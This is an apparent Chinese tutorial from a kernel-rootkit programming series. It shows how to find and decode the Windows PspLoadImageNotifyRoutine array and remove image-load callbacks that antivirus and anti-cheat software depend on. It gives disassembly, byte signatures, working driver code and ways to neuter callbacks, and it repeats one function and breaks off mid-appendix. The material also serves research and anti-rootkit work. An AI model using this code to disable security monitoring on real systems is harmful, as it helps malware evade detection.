[rsp+30h],rbxfffff800`a0a5b9b1 e816910000 call nt!CmpUnlockContextList (fffff800`a0a64acc)fffff800`a0a5b9b6 493bde cmp rbx,r14fffff800`a0a5b9b9 7422 je nt!CmUnRegisterCallback+0x2c5 (fffff800`a0a5b9dd)nt!CmUnRegisterCallback+0x2a3:fffff800`a0a5b9bb 488364242000 and qword ptr [rsp+20h],0fffff800`a0a5b9c1 41b908000000 mov r9d,8fffff800`a0a5b9c7 4c8d442430 lea r8,[rsp+30h]fffff800`a0a5b9cc 498bd6 mov rdx,r14fffff800`a0a5b9cf 488d0d1acdd1ff lea rcx,[nt!CallbackListDeleteEvent (fffff800`a07786f0)]fffff800`a0a5b9d6 e88d4db1ff call nt!ExBlockOnAddressPushLock (fffff800`a0570768)fffff800`a0a5b9db ebbe jmp nt!CmUnRegisterCallback+0x283 (fffff800`a0a5b99b)nt!CmUnRegisterCallback+0x2c5:fffff800`a0a5b9dd 4032f6 xor sil,silfffff800`a0a5b9e0 ebb9 jmp nt!CmUnRegisterCallback+0x283 (fffff800`a0a5b99b)nt!CmUnRegisterCallback+0x2ca:fffff800`a0a5b9e2 83c8ff or eax,0FFFFFFFFhfffff800`a0a5b9e5 f00fc105732ad2ff lock xadd dword ptr [nt!CmpCallBackCount (fffff800`a077e460)],eaxfffff800`a0a5b9ed 83f801 cmp eax,1fffff800`a0a5b9f0 7523 jne nt!CmUnRegisterCallback+0x2fd (fffff800`a0a5ba15)nt!CmUnRegisterCallback+0x2da:fffff800`a0a5b9f2 488d0d0766d2ff lea rcx,[nt!CmpCallbackContextSList (fffff800`a0782000)]fffff800`a0a5b9f9 e8d29db6ff call nt!ExpInterlockedFlushSList (fffff800`a05c57d0)fffff800`a0a5b9fe 488bd8 mov rbx,raxnt!CmUnRegisterCallback+0x2e9:fffff800`a0a5ba01 4885db test rbx,rbxfffff800`a0a5ba04 740f je nt!CmUnRegisterCallback+0x2fd (fffff800`a0a5ba15)nt!CmUnRegisterCallback+0x2ee:fffff800`a0a5ba06 488bcb mov rcx,rbxfffff800`a0a5ba09 488b1b mov rbx,qword ptr [rbx]fffff800`a0a5ba0c 33d2 xor edx,edxfffff800`a0a5ba0e e8ed25c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)fffff800`a0a5ba13 ebec jmp nt!CmUnRegisterCallback+0x2e9 (fffff800`a0a5ba01)nt!CmUnRegisterCallback+0x2fd:fffff800`a0a5ba15 488b4f38 mov rcx,qword ptr [rdi+38h]fffff800`a0a5ba19 4885c9 test rcx,rcxfffff800`a0a5ba1c 7407 je nt!CmUnRegisterCallback+0x30d (fffff800`a0a5ba25)nt!CmUnRegisterCallback+0x306:fffff800`a0a5ba1e 33d2 xor edx,edxfffff800`a0a5ba20 e8db25c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)nt!CmUnRegisterCallback+0x30d:fffff800`a0a5ba25 33d2 xor edx,edxfffff800`a0a5ba27 488bcf mov rcx,rdifffff800`a0a5ba2a e8d125c5ff call nt!ExFreePoolWithTag (fffff800`a06ae000)fffff800`a0a5ba2f 418bc7 mov eax,r15dfffff800`a0a5ba32 eb11 jmp nt!CmUnRegisterCallback+0x32d (fffff800`a0a5ba45)nt!CmUnRegisterCallback+0x31c:fffff800`a0a5ba34 b903000000 mov ecx,3fffff800`a0a5ba39 cd29 int 29hnt!CmUnRegisterCallback+0x323:fffff800`a0a5ba3b e8708febff call nt!CmpUnlockCallbackList (fffff800`a09149b0)fffff800`a0a5ba40 b80d0000c0 mov eax,0C000000Dhnt!CmUnRegisterCallback+0x32d:fffff800`a0a5ba45 4881c480000000 add rsp,80hfffff800`a0a5ba4c 415f pop r15fffff800`a0a5ba4e 415e pop r14fffff800`a0a5ba50 415d pop r13fffff800`a0a5ba52 415c pop r12fffff800`a0a5ba54 5f pop rdifffff800`a0a5ba55 5e pop rsifffff800`a0a5ba56 5b pop rbxfffff800`a0a5ba57 c3 ret
    2  留言 2019-03-27 13:02:47
  • 枚举并删除系统上PsSetLoadImageNotifyRoutine回调

    背景我们学习内核 Rootkit 编程,那么肯定会接触到各种无 HOOK 回调函数的设置,这些回调函数都是官方为我们做好的接口,我们直接调用就好。这些回调使用方便,运行在底层,功能强大,而且非常稳定。很多杀软、游戏保护等就是设置这些回调,实现对计算机的监控的。
    既然可以设置回调,自然也可以删除回调。如果是自己程序设置的回调,当然可以很容易删除。但是,我们要做的是要枚举系统上存在的回调,不管是不是自己程序创建的,然后,并对这些回调进行删除,使其失效。
    本文要介绍的是枚举并删除系统上 PsSetLoadImageNotifyRoutine 回调,支持 32 位和 64 位、Win7 到 Win10 全平台系统。现在,我把实现的过程和原理整理成文档,分享给大家。
    实现原理我们注册的模块加载回调,会存储在一个名为 PspLoadImageNotifyRoutine 的数组里。 PspLoadImageNotifyRoutine 可以理解成一个 PVOID 数组,它存储着系统里所有 PsSetLoadImageNotifyRoutine 模块加载回调函数地址的加密地址。PspLoadImageNotifyRoutine 数组里的数据是加密的,要经过解密操作才可以获取正确的数据。
    PspLoadImageNotifyRoutine 数组地址的获取我们借助 WinDbg 帮助我们逆向 PsSetLoadImageNotifyRoutine 内核函数,下面是 Win10 64 位系统上 PsSetLoadImageNotifyRoutine 函数的逆向代码:
    nt!PsSetLoadImageNotifyRoutine+0x36:fffff803`0a53d30a 488d0d6f0adfff lea rcx,[nt!PspLoadImageNotifyRoutine (fffff803`0a32dd80)]fffff803`0a53d311 4533c0 xor r8d,r8d
    由上面的代码,我们可以通过在内核函数 PsSetLoadImageNotifyRoutine 中扫描内存特征码,在 32 位系统下,可以直接定位得到数组 PspLoadImageNotifyRoutine 的地址;在 64 位下,可以获取数组 PspLoadImageNotifyRoutine 的偏移,从而根据偏移计算出地址。但是,特征码在不同系统上也会不同,下面是我使用 WinDbg 逆向各个版本系统上的函数,总结的特征码:




    Win7
    win8.1
    win10




    32 位
    BE
    BB
    BF


    64 位
    488D0D
    488D0D
    488D0D



    总的来说,我们直接通过扫描 PsSetLoadImageNotifyRoutine 函数内存,就可获取 PspLoadImageNotifyRoutine 地址了。其中,特征码的确定就变得至关重要。
    PspLoadImageNotifyRoutine 里数据的解密我们上面说,PspLoadImageNotifyRoutine 里的数据是加密的,在 64 位系统和 32 位系统上的加密方式是不相同的,自然解密方式也不同。现在,我们分别介绍 32 位系统和 64 位系统下的解密方式。
    对于 32 位系统来说:PspLoadImageNotifyRoutine 是一个 4 字节无符号类型的数组,数组大小最大为 8。我们使用 PspLoadImageNotifyRoutine[i] 表示数组中的值,那么,32 位系统下的解密方式为:

    首先,数组的值 PspLoadImageNotifyRoutine[i] 位运算“与” 0xFFFFFFF8。然后,“与”运算之后的结果值再加上 4,结果就是一个存储着回调函数地址的地址。
    对于 64 位系统来说:PspLoadImageNotifyRoutine 是一个 8 字节无符号类型的数组,数组大小最大为 64。我们使用 PspLoadImageNotifyRoutine[i] 表示数组中的值,那么,64 位系统下的解密方式为:
    数组的值 PspLoadImageNotifyRoutine[i] 位运算“与” 0xFFFFFFFFFFFFFFF8,结果就是一个存储着回调函数地址的地址。
    删除回调我们可以通过上述介绍的方法,枚举系统中的回调函数。那么,要删除回调函数可以有 3 种方式:

    可以直接调用 PsRemoveLoadImageNotifyRoutine 函数,传入回调函数地址,即可删除回调。修改 PspLoadImageNotifyRoutine 数组中的数据,使其指向我们自己定义的空回调函数地址。这样,当触发回调函数的时候,执行的是我们自己的空回调函数。修改回调函数的前几字节内存数据,写入直接返回指令 RET,不进行任何操作。
    编码实现遍历回调// 遍历回调BOOLEAN EnumNotifyRoutine(){ ULONG i = 0; PVOID pPspLoadImageNotifyRoutineAddress = NULL; PVOID pNotifyRoutineAddress = NULL; // 获取 PspLoadImageNotifyRoutine 数组地址 pPspLoadImageNotifyRoutineAddress = GetPspLoadImageNotifyRoutine(); if (NULL == pPspLoadImageNotifyRoutineAddress) { DbgPrint("GetPspLoadImageNotifyRoutine Error!\n"); return FALSE; } DbgPrint("pPspLoadImageNotifyRoutineAddress=0x%p\n", pPspLoadImageNotifyRoutineAddress); // 获取回调地址并解密#ifdef _WIN64 for (i = 0; i < 64; i++) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspLoadImageNotifyRoutineAddress + sizeof(PVOID) * i); pNotifyRoutineAddress = (PVOID)((ULONG64)pNotifyRoutineAddress & 0xfffffffffffffff8); if (MmIsAddressValid(pNotifyRoutineAddress)) { pNotifyRoutineAddress = *(PVOID *)pNotifyRoutineAddress; DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); } }#else for (i = 0; i < 8; i++) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pPspLoadImageNotifyRoutineAddress + sizeof(PVOID) * i); pNotifyRoutineAddress = (PVOID)((ULONG)pNotifyRoutineAddress & 0xfffffff8); if (MmIsAddressValid(pNotifyRoutineAddress)) { pNotifyRoutineAddress = *(PVOID *)((PUCHAR)pNotifyRoutineAddress + 4); DbgPrint("[%d]ullNotifyRoutine=0x%p\n", i, pNotifyRoutineAddress); } }#endif return TRUE;}
    移除回调// 移除回调NTSTATUS RemoveNotifyRoutine(PVOID pNotifyRoutineAddress){ NTSTATUS status = PsRemoveLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)pNotifyRoutineAddress); if (!NT_SUCCESS(status)) { ShowError("PsRemoveLoadImageNotifyRoutine", status); } return status;}
    获取 PspLoadImageNotifyRoutine 数组地址// 获取 PspLoadImageNotifyRoutine 数组地址PVOID GetPspLoadImageNotifyRoutine(){ PVOID pPspLoadImageNotifyRoutineAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pSpecialData[50] = { 0 }; ULONG ulSpecialDataSize = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BE pSpecialData[0] = 0xBE; ulSpecialDataSize = 1;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BB pSpecialData[0] = 0xBB; ulSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BF pSpecialData[0] = 0xBF; ulSpecialDataSize = 1;#endif } // 根据特征码获取地址 pPspLoadImageNotifyRoutineAddress = SearchPspLoadImageNotifyRoutine(pSpecialData, ulSpecialDataSize); return pPspLoadImageNotifyRoutineAddress;}
    根据特征码获取 PspLoadImageNotifyRoutine 数组地址// 获取 PspLoadImageNotifyRoutine 数组地址PVOID GetPspLoadImageNotifyRoutine(){ PVOID pPspLoadImageNotifyRoutineAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pSpecialData[50] = { 0 }; ULONG ulSpecialDataSize = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BE pSpecialData[0] = 0xBE; ulSpecialDataSize = 1;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BB pSpecialData[0] = 0xBB; ulSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // 488D0D pSpecialData[0] = 0x48; pSpecialData[1] = 0x8D; pSpecialData[2] = 0x0D; ulSpecialDataSize = 3;#else // 32 位 // BF pSpecialData[0] = 0xBF; ulSpecialDataSize = 1;#endif } // 根据特征码获取地址 pPspLoadImageNotifyRoutineAddress = SearchPspLoadImageNotifyRoutine(pSpecialData, ulSpecialDataSize); return pPspLoadImageNotifyRoutineAddress;}// 根据特征码获取 PspLoadImageNotifyRoutine 数组地址PVOID SearchPspLoadImageNotifyRoutine(PUCHAR pSpecialData, ULONG ulSpecialDataSize){ UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pPsSetLoadImageNotifyRoutine = NULL; PVOID pPspLoadImageNotifyRoutine = NULL; // 先获取 PsSetLoadImageNotifyRoutine 函数地址 RtlInitUnicodeString(&ustrFuncName, L"PsSetLoadImageNotifyRoutine"); pPsSetLoadImageNotifyRoutine = MmGetSystemRoutineAddress(&ustrFuncName); if (NULL == pPsSetLoadImageNotifyRoutine) { ShowError("MmGetSystemRoutineAddress", 0); return pPspLoadImageNotifyRoutine; } // 然后, 查找 PspSetCreateProcessNotifyRoutine 函数地址 pAddress = SearchMemory(pPsSetLoadImageNotifyRoutine, (PVOID)((PUCHAR)pPsSetLoadImageNotifyRoutine + 0xFF), pSpecialData, ulSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory", 0); return pPspLoadImageNotifyRoutine; } // 获取地址#ifdef _WIN64 // 64 位先获取偏移, 再计算地址 lOffset = *(PLONG)pAddress; pPspLoadImageNotifyRoutine = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset);#else // 32 位直接获取地址 pPspLoadImageNotifyRoutine = *(PVOID *)pAddress;#endif return pPspLoadImageNotifyRoutine;}
    指定内存区域的特征码扫描// 指定内存区域的特征码扫描PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize){ PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) { // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) { if (*(PUCHAR)(i + m) != pMemoryData[m]) { break; } } // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) { // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; } } return pAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结要理解清楚获取 PspLoadImageNotifyRoutine 地址的流程,其中,不同系统的内存特征码是不同的,要注意区分。大家也不用记忆这些特征码,如果需要用到,可以随时使用 WinDbg 来进行逆向查看就好。
    而且,不同位数系统中,对 PspLoadImageNotifyRoutine 数组中的值解密方式也不相同,这个需要区分开来。
    删除回调常用就有 3 种方式,自己根据需要选择一种使用即可。
    参考参考自《Windows黑客编程技术详解》一书
    附录Win7 32 位 PsSetLoadImageNotifyRoutinelkd> uf PsSetLoadImageNotifyRoutinent!PsSetLoadImageNotifyRoutine:83f819cb 8bff mov edi,edi83f819cd 55 push ebp83f819ce 8bec mov ebp,esp83f819d0 53 push ebx83f819d1 56 push esi83f819d2 57 push edi83f819d3 33ff xor edi,edi83f819d5 57 push edi83f819d6 ff7508 push dword ptr [ebp+8]83f819d9 e83b3c0200 call nt!ExAllocateCallBack (83fa5619)83f819de 8bd8 mov ebx,eax83f819e0 3bdf cmp ebx,edi83f819e2 7428 je nt!PsSetLoadImageNotifyRoutine+0x41 (83f81a0c)nt!PsSetLoadImageNotifyRoutine+0x19:83f819e4 bea030f583 mov esi,offset nt!PspLoadImageNotifyRoutine (83f530a0)nt!PsSetLoadImageNotifyRoutine+0x1e:83f819e9 6a00 push 083f819eb 8bcb mov ecx,ebx83f819ed 8bc6 mov eax,esi83f819ef e8543c0200 call nt!ExCompareExchangeCallBack (83fa5648)83f819f4 84c0 test al,al83f819f6 7520 jne nt!PsSetLoadImageNotifyRoutine+0x4d (83f81a18)nt!PsSetLoadImageNotifyRoutine+0x2d:83f819f8 83c704 add edi,483f819fb 83c604 add esi,483f819fe 81ff00010000 cmp edi,100h83f81a04 72e3 jb nt!PsSetLoadImageNotifyRoutine+0x1e (83f819e9)nt!PsSetLoadImageNotifyRoutine+0x3b:83f81a06 53 push ebx83f81a07 e8ffc81000 call nt!AlpcpFreeBuffer (8408e30b)nt!PsSetLoadImageNotifyRoutine+0x41:83f81a0c b89a0000c0 mov eax,0C000009Ahnt!PsSetLoadImageNotifyRoutine+0x46:83f81a11 5f pop edi83f81a12 5e pop esi83f81a13 5b pop ebx83f81a14 5d pop ebp83f81a15 c20400 ret 4nt!PsSetLoadImageNotifyRoutine+0x4d:83f81a18 33c9 xor ecx,ecx83f81a1a b8a031f583 mov eax,offset nt!PspLoadImageNotifyRoutineCount (83f531a0)83f81a1f 41 inc ecx83f81a20 f00fc108 lock xadd dword ptr [eax],ecx83f81a24 a19830f583 mov eax,dword ptr [nt!PspNotifyEnableMask (83f53098)]83f81a29 a801 test al,183f81a2b 750a jne nt!PsSetLoadImageNotifyRoutine+0x6c (83f81a37)nt!PsSetLoadImageNotifyRoutine+0x62:83f81a2d b89830f583 mov eax,offset nt!PspNotifyEnableMask (83f53098)83f81a32 f00fba2800 lock bts dword ptr [eax],0nt!PsSetLoadImageNotifyRoutine+0x6c:83f81a37 33c0 xor eax,eax83f81a39 ebd6 jmp nt!PsSetLoadImageNotifyRoutine+0x46 (83f81a11)
    Win7 64 位 PsSetLoadImageNotifyRoutinelkd> uf PsSetLoadImageNotifyRoutinent!PsSetLoadImageNotifyRoutine:fffff800`0428db60 48895c2408 mov qword ptr [rsp+8],rbxfffff800`0428db65 57 push rdifffff800`0428db66 4883ec20 sub rsp,20hfffff800`0428db6a 33d2 xor edx,edxfffff800`0428db6c e8efaffeff call nt!ExAllocateCallBack (fffff800`04278b60)fffff800`0428db71 488bf8 mov rdi,raxfffff800`0428db74 4885c0 test rax,raxfffff800`0428db77 7507 jne nt!PsSetLoadImageNotifyRoutine+0x20 (fffff800`0428db80)nt!PsSetLoadImageNotifyRoutine+0x19:fffff800`0428db79 b89a0000c0 mov eax,0C000009Ahfffff800`0428db7e eb4a jmp nt!PsSetLoadImageNotifyRoutine+0x6a (fffff800`0428dbca)nt!PsSetLoadImageNotifyRoutine+0x20:fffff800`0428db80 33db xor ebx,ebxnt!PsSetLoadImageNotifyRoutine+0x22:fffff800`0428db82 488d0d7799d9ff lea rcx,[nt!PspLoadImageNotifyRoutine (fffff800`04027500)]fffff800`0428db89 4533c0 xor r8d,r8dfffff800`0428db8c 488bd7 mov rdx,rdifffff800`0428db8f 488d0cd9 lea rcx,[rcx+rbx*8]fffff800`0428db93 e8b814f8ff call nt!ExCompareExchangeCallBack (fffff800`0420f050)fffff800`0428db98 84c0 test al,alfffff800`0428db9a 7511 jne nt!PsSetLoadImageNotifyRoutine+0x4d (fffff800`0428dbad)nt!PsSetLoadImageNotifyRoutine+0x3c:fffff800`0428db9c ffc3 inc ebxfffff800`0428db9e 83fb08 cmp ebx,8fffff800`0428dba1 72df jb nt!PsSetLoadImageNotifyRoutine+0x22 (fffff800`0428db82)nt!PsSetLoadImageNotifyRoutine+0x43:fffff800`0428dba3 488bcf mov rcx,rdifffff800`0428dba6 e8a5defeff call nt!IopDeallocateApc (fffff800`0427ba50)fffff800`0428dbab ebcc jmp nt!PsSetLoadImageNotifyRoutine+0x19 (fffff800`0428db79)nt!PsSetLoadImageNotifyRoutine+0x4d:fffff800`0428dbad f083058b99d9ff01 lock add dword ptr [nt!PspLoadImageNotifyRoutineCount (fffff800`04027540)],1fffff800`0428dbb5 8b052599d9ff mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)]fffff800`0428dbbb a801 test al,1fffff800`0428dbbd 7509 jne nt!PsSetLoadImageNotifyRoutine+0x68 (fffff800`0428dbc8)nt!PsSetLoadImageNotifyRoutine+0x5f:fffff800`0428dbbf f00fba2d1899d9ff00 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)],0nt!PsSetLoadImageNotifyRoutine+0x68:fffff800`0428dbc8 33c0 xor eax,eaxnt!PsSetLoadImageNotifyRoutine+0x6a:fffff800`0428dbca 488b5c2430 mov rbx,qword ptr [rsp+30h]fffff800`0428dbcf 4883c420 add rsp,20hfffff800`0428dbd3 5f pop rdifffff800`0428dbd4 c3 ret
    Win8.1 32 位 PsSetLoadImageNotifyRoutinelkd> uf PsSetLoadImageNotifyRoutine nt!PsSetLoadImageNotifyRoutine:8116e59e 8bff mov edi,edi8116e5a0 55 push ebp8116e5a1 8bec mov ebp,esp8116e5a3 8b4d08 mov ecx,dword ptr [ebp+8]8116e5a6 33d2 xor edx,edx8116e5a8 56 push esi8116e5a9 e8a4030000 call nt!ExAllocateCallBack (8116e952)8116e5ae 8bf0 mov esi,eax8116e5b0 85f6 test esi,esi8116e5b2 7444 je nt!PsSetLoadImageNotifyRoutine+0x5a (8116e5f8)nt!PsSetLoadImageNotifyRoutine+0x16:8116e5b4 53 push ebx8116e5b5 57 push edi8116e5b6 bba8640181 mov ebx,offset nt!PspLoadImageNotifyRoutine (810164a8)8116e5bb 33ff xor edi,edint!PsSetLoadImageNotifyRoutine+0x1f:8116e5bd 6a00 push 08116e5bf 8bd6 mov edx,esi8116e5c1 8bcb mov ecx,ebx8116e5c3 e89027d9ff call nt!ExCompareExchangeCallBack (80f00d58)8116e5c8 84c0 test al,al8116e5ca 0f84bc030a00 je nt! ?? ::NNGAKEGL::`string'+0x70322 (8120e98c)nt!PsSetLoadImageNotifyRoutine+0x32:8116e5d0 33c0 xor eax,eax8116e5d2 b9486c2f81 mov ecx,offset nt!PspLoadImageNotifyRoutineCount (812f6c48)8116e5d7 40 inc eax8116e5d8 f00fc101 lock xadd dword ptr [ecx],eax8116e5dc a1446c2f81 mov eax,dword ptr [nt!PspNotifyEnableMask (812f6c44)]8116e5e1 a801 test al,18116e5e3 750a jne nt!PsSetLoadImageNotifyRoutine+0x51 (8116e5ef)nt!PsSetLoadImageNotifyRoutine+0x47:8116e5e5 b8446c2f81 mov eax,offset nt!PspNotifyEnableMask (812f6c44)8116e5ea f00fba2800 lock bts dword ptr [eax],0nt!PsSetLoadImageNotifyRoutine+0x51:8116e5ef 33c0 xor eax,eaxnt!PsSetLoadImageNotifyRoutine+0x53:8116e5f1 5f pop edi8116e5f2 5b pop ebxnt!PsSetLoadImageNotifyRoutine+0x55:8116e5f3 5e pop esi8116e5f4 5d pop ebp8116e5f5 c20400 ret 4nt!PsSetLoadImageNotifyRoutine+0x5a:8116e5f8 b89a0000c0 mov eax,0C000009Ah8116e5fd ebf4 jmp nt!PsSetLoadImageNotifyRoutine+0x55 (8116e5f3)nt! ?? ::NNGAKEGL::`string'+0x70322:8120e98c 83c704 add edi,48120e98f 83c304 add ebx,48120e992 83ff20 cmp edi,20h8120e995 0f8222fcf5ff jb nt!PsSetLoadImageNotifyRoutine+0x1f (8116e5bd)nt! ?? ::NNGAKEGL::`string'+0x70331:8120e99b 8bce mov ecx,esi8120e99d e8e0fbe8ff call nt!ExFreeCallBack (8109e582)8120e9a2 b89a0000c0 mov eax,0C000009Ah8120e9a7 e945fcf5ff jmp nt!PsSetLoadImageNotifyRoutine+0x53 (8116e5f1)
    Win8.1 64 位 PsSetLoadImageNotifyRoutinelkd> uf PsSetLoadImageNotifyRoutinent!PsSetLoadImageNotifyRoutine:fffff803`107a0c88 48895c2408 mov qword ptr [rsp+8],rbxfffff803`107a0c8d 57 push rdifffff803`107a0c8e 4883ec20 sub rsp,20hfffff803`107a0c92 33d2 xor edx,edxfffff803`107a0c94 e81750fdff call nt!ExAllocateCallBack (fffff803`10775cb0)fffff803`107a0c99 488bf8 mov rdi,raxfffff803`107a0c9c 4885c0 test rax,raxfffff803`107a0c9f 0f847b560900 je nt! ?? ::NNGAKEGL::`string'+0x87720 (fffff803`10836320)nt!PsSetLoadImageNotifyRoutine+0x1d:fffff803`107a0ca5 33db xor ebx,ebxnt!PsSetLoadImageNotifyRoutine+0x1f:fffff803`107a0ca7 488d0d12ffdbff lea rcx,[nt!PspLoadImageNotifyRoutine (fffff803`10560bc0)]fffff803`107a0cae 4533c0 xor r8d,r8dfffff803`107a0cb1 488bd7 mov rdx,rdifffff803`107a0cb4 488d0cd9 lea rcx,[rcx+rbx*8]fffff803`107a0cb8 e8e307c1ff call nt!ExCompareExchangeCallBack (fffff803`103b14a0)fffff803`107a0cbd 84c0 test al,alfffff803`107a0cbf 7427 je nt!PsSetLoadImageNotifyRoutine+0x60 (fffff803`107a0ce8)nt!PsSetLoadImageNotifyRoutine+0x39:fffff803`107a0cc1 f0ff0584a91800 lock inc dword ptr [nt!PspLoadImageNotifyRoutineCount (fffff803`1092b64c)]fffff803`107a0cc8 8b054ea41800 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)]fffff803`107a0cce a801 test al,1fffff803`107a0cd0 7509 jne nt!PsSetLoadImageNotifyRoutine+0x53 (fffff803`107a0cdb)nt!PsSetLoadImageNotifyRoutine+0x4a:fffff803`107a0cd2 f00fba2d41a4180000 lock bts dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)],0nt!PsSetLoadImageNotifyRoutine+0x53:fffff803`107a0cdb 33c0 xor eax,eaxnt!PsSetLoadImageNotifyRoutine+0x55:fffff803`107a0cdd 488b5c2430 mov rbx,qword ptr [rsp+30h]fffff803`107a0ce2 4883c420 add rsp,20hfffff803`107a0ce6 5f pop rdifffff803`107a0ce7 c3 retnt!PsSetLoadImageNotifyRoutine+0x60:fffff803`107a0ce8 ffc3 inc ebxfffff803`107a0cea 83fb08 cmp ebx,8fffff803`107a0ced 72b8 jb nt!PsSetLoadImageNotifyRoutine+0x1f (fffff803`107a0ca7)nt!PsSetLoadImageNotifyRoutine+0x67:fffff803`107a0cef e922560900 jmp nt! ?? ::NNGAKEGL::`string'+0x87716 (fffff803`10836316)nt! ?? ::NNGAKEGL::`string'+0x87716:fffff803`10836316 33d2 xor edx,edxfffff803`10836318 488bcf mov rcx,rdifffff803`1083631b e800fbcdff call nt!ExFreePoolWithTag (fffff803`10515e20)nt! ?? ::NNGAKEGL::`string'+0x87720:fffff803`10836320 b89a0000c0 mov eax,0C000009Ahfffff803`10836325 e9b3a9f6ff jmp nt!PsSetLoadImageNotifyRoutine+0x55 (fffff803`107a0cdd)
    Win10 32 位 PsSetLoadImageNotifyRoutinekd> uf PsSetLoadImageNotifyRoutinent!PsSetLoadImageNotifyRoutine:81e1c7e6 8bff mov edi,edi81e1c7e8 55 push ebp81e1c7e9 8bec mov ebp,esp81e1c7eb 83ec30 sub esp,30h81e1c7ee a1948bc981 mov eax,dword ptr [nt!__security_cookie (81c98b94)]81e1c7f3 33c5 xor eax,ebp81e1c7f5 8945fc mov dword ptr [ebp-4],eax81e1c7f8 8b4508 mov eax,dword ptr [ebp+8]81e1c7fb 33d2 xor edx,edx81e1c7fd 53 push ebx81e1c7fe 56 push esi81e1c7ff 8bc8 mov ecx,eax81e1c801 8945d0 mov dword ptr [ebp-30h],eax81e1c804 e8b7020000 call nt!ExAllocateCallBack (81e1cac0)81e1c809 8bd8 mov ebx,eax81e1c80b 85db test ebx,ebx81e1c80d 0f84711d0a00 je nt! ?? ::NNGAKEGL::`string'+0x69b78 (81ebe584)nt!PsSetLoadImageNotifyRoutine+0x2d:81e1c813 57 push edi81e1c814 bf30dacb81 mov edi,offset nt!PspLoadImageNotifyRoutine (81cbda30)81e1c819 33f6 xor esi,esint!PsSetLoadImageNotifyRoutine+0x35:81e1c81b 6a00 push 081e1c81d 8bd3 mov edx,ebx81e1c81f 8bcf mov ecx,edi81e1c821 e8ae1fd6ff call nt!ExCompareExchangeCallBack (81b7e7d4)81e1c826 84c0 test al,al81e1c828 0f848a000000 je nt!PsSetLoadImageNotifyRoutine+0xd2 (81e1c8b8)nt!PsSetLoadImageNotifyRoutine+0x48:81e1c82e f0ff05c8bdff81 lock inc dword ptr [nt!PspLoadImageNotifyRoutineCount (81ffbdc8)]81e1c835 a1c4bdff81 mov eax,dword ptr [nt!PspNotifyEnableMask (81ffbdc4)]81e1c83a a801 test al,181e1c83c 750a jne nt!PsSetLoadImageNotifyRoutine+0x62 (81e1c848)nt!PsSetLoadImageNotifyRoutine+0x58:81e1c83e b8c4bdff81 mov eax,offset nt!PspNotifyEnableMask (81ffbdc4)81e1c843 f00fba2800 lock bts dword ptr [eax],0nt!PsSetLoadImageNotifyRoutine+0x62:81e1c848 33f6 xor esi,esint!PsSetLoadImageNotifyRoutine+0x64:81e1c84a 5f pop edint!PsSetLoadImageNotifyRoutine+0x65:81e1c84b 8b45d0 mov eax,dword ptr [ebp-30h]81e1c84e 8b0d7842ca81 mov ecx,dword ptr [nt!EtwApiCallsProvRegHandle (81ca4278)]81e1c854 8b157c42ca81 mov edx,dword ptr [nt!EtwApiCallsProvRegHandle+0x4 (81ca427c)]81e1c85a 8945d8 mov dword ptr [ebp-28h],eax81e1c85d 8bc1 mov eax,ecx81e1c85f 0bc2 or eax,edx81e1c861 8975d4 mov dword ptr 